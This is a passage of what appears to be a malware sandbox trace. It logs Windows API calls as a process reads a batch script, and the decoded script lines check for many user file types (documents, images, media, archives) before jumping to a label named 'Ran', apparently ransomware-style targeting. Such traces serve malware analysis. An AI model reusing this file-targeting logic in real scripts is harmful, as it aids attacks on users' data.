dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0038.121] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.121] GetFileType (hFile=0x74) returned 0x1 [0038.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0038.121] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=629, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0038.121] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto Ran\r\n") returned 29 [0038.121] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0038.121] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.121] GetFileType (hFile=0x74) returned 0x1 [0038.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0038.122] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=631, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0038.122] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.rar goto Ran\r\n") returned 2 [0038.122] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0038.122] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.122] GetFileType (hFile=0x74) returned 0x1 [0038.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0038.122] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=660, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0038.122] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto Ran\r\n") returned 29 [0038.122] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0038.122] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.122] GetFileType (hFile=0x74) returned 0x1 [0038.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0038.123] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=662, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0038.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.ink goto Ran\r\n") returned 2 [0038.123] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0038.123] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.123] GetFileType (hFile=0x74) returned 0x1 [0038.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0038.123] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=691, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0038.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto Ran\r\n") returned 29 [0038.123] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0038.123] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.123] GetFileType (hFile=0x74) returned 0x1 [0038.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0038.123] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=693, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0038.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.txt goto Ran\r\n") returned 2 [0038.124] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0038.124] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.124] GetFileType (hFile=0x74) returned 0x1 [0038.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0038.124] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0038.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto Ran\r\n") returned 29 [0038.124] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0038.124] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.124] GetFileType (hFile=0x74) returned 0x1 [0038.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0038.124] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=751, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0038.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto Ran\r\n") returned 29 [0038.125] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0038.125] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.125] GetFileType (hFile=0x74) returned 0x1 [0038.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0038.125] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=753, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0038.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.vbs goto Ran\r\n") returned 2 [0038.125] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0038.125] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.125] GetFileType (hFile=0x74) returned 0x1 [0038.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0038.125] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=783, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0038.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=30, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto Ran\r\n\r\n") returned 30 [0038.125] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.126] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0038.126] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.126] GetFileType (hFile=0x74) returned 0x1 [0038.126] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0038.126] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.126] SetFilePointer (in: hFile=0x74, lDistanceToMove=785, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0038.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.docx goto Ran\r\n") returned 2 [0038.126] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.126] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0038.126] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.126] GetFileType (hFile=0x74) returned 0x1 [0038.126] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0038.126] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.126] SetFilePointer (in: hFile=0x74, lDistanceToMove=814, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0038.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto Ran\r\n\n") returned 29 [0038.126] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.126] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0038.127] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.127] GetFileType (hFile=0x74) returned 0x1 [0038.127] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0038.127] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.127] SetFilePointer (in: hFile=0x74, lDistanceToMove=816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0038.127] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.doc goto Ran\r\n") returned 2 [0038.127] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.127] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0038.127] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.127] GetFileType (hFile=0x74) returned 0x1 [0038.127] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0038.127] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.127] SetFilePointer (in: hFile=0x74, lDistanceToMove=845, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0038.127] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto Ran\r\n") returned 29 [0038.127] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.127] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0038.127] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.127] GetFileType (hFile=0x74) returned 0x1 [0038.128] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0038.128] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.128] SetFilePointer (in: hFile=0x74, lDistanceToMove=847, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0038.128] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.mp4 goto Ran\r\n") returned 2 [0038.128] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.128] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0038.128] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.128] GetFileType (hFile=0x74) returned 0x1 [0038.128] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0038.128] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.128] SetFilePointer (in: hFile=0x74, lDistanceToMove=876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0038.128] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto Ran\r\n") returned 29 [0038.128] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.128] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0038.128] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.128] GetFileType (hFile=0x74) returned 0x1 [0038.128] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0038.129] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.129] SetFilePointer (in: hFile=0x74, lDistanceToMove=878, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0038.129] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.mp3 goto Ran\r\n") returned 2 [0038.129] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.129] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0038.129] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.129] GetFileType (hFile=0x74) returned 0x1 [0038.129] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0038.129] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.129] SetFilePointer (in: hFile=0x74, lDistanceToMove=907, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0038.129] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto Ran\r\n") returned 29 [0038.129] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.129] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0038.129] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.129] GetFileType (hFile=0x74) returned 0x1 [0038.129] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0038.130] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=909, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0038.130] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.wav goto Ran\r\n") returned 2 [0038.130] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0038.130] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.130] GetFileType (hFile=0x74) returned 0x1 [0038.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0038.130] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0038.130] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto Ran\r\n") returned 29 [0038.130] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0038.130] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.130] GetFileType (hFile=0x74) returned 0x1 [0038.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0038.130] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0038.130] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.jpg goto Ran\r\n") returned 2 [0038.130] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0038.131] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.131] GetFileType (hFile=0x74) returned 0x1 [0038.131] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0038.131] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.131] SetFilePointer (in: hFile=0x74, lDistanceToMove=969, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0038.131] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto Ran\r\n") returned 29 [0038.131] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.131] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0038.131] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.131] GetFileType (hFile=0x74) returned 0x1 [0038.131] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0038.131] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.131] SetFilePointer (in: hFile=0x74, lDistanceToMove=971, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0038.131] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.png goto Ran\r\n") returned 2 [0038.131] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.131] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 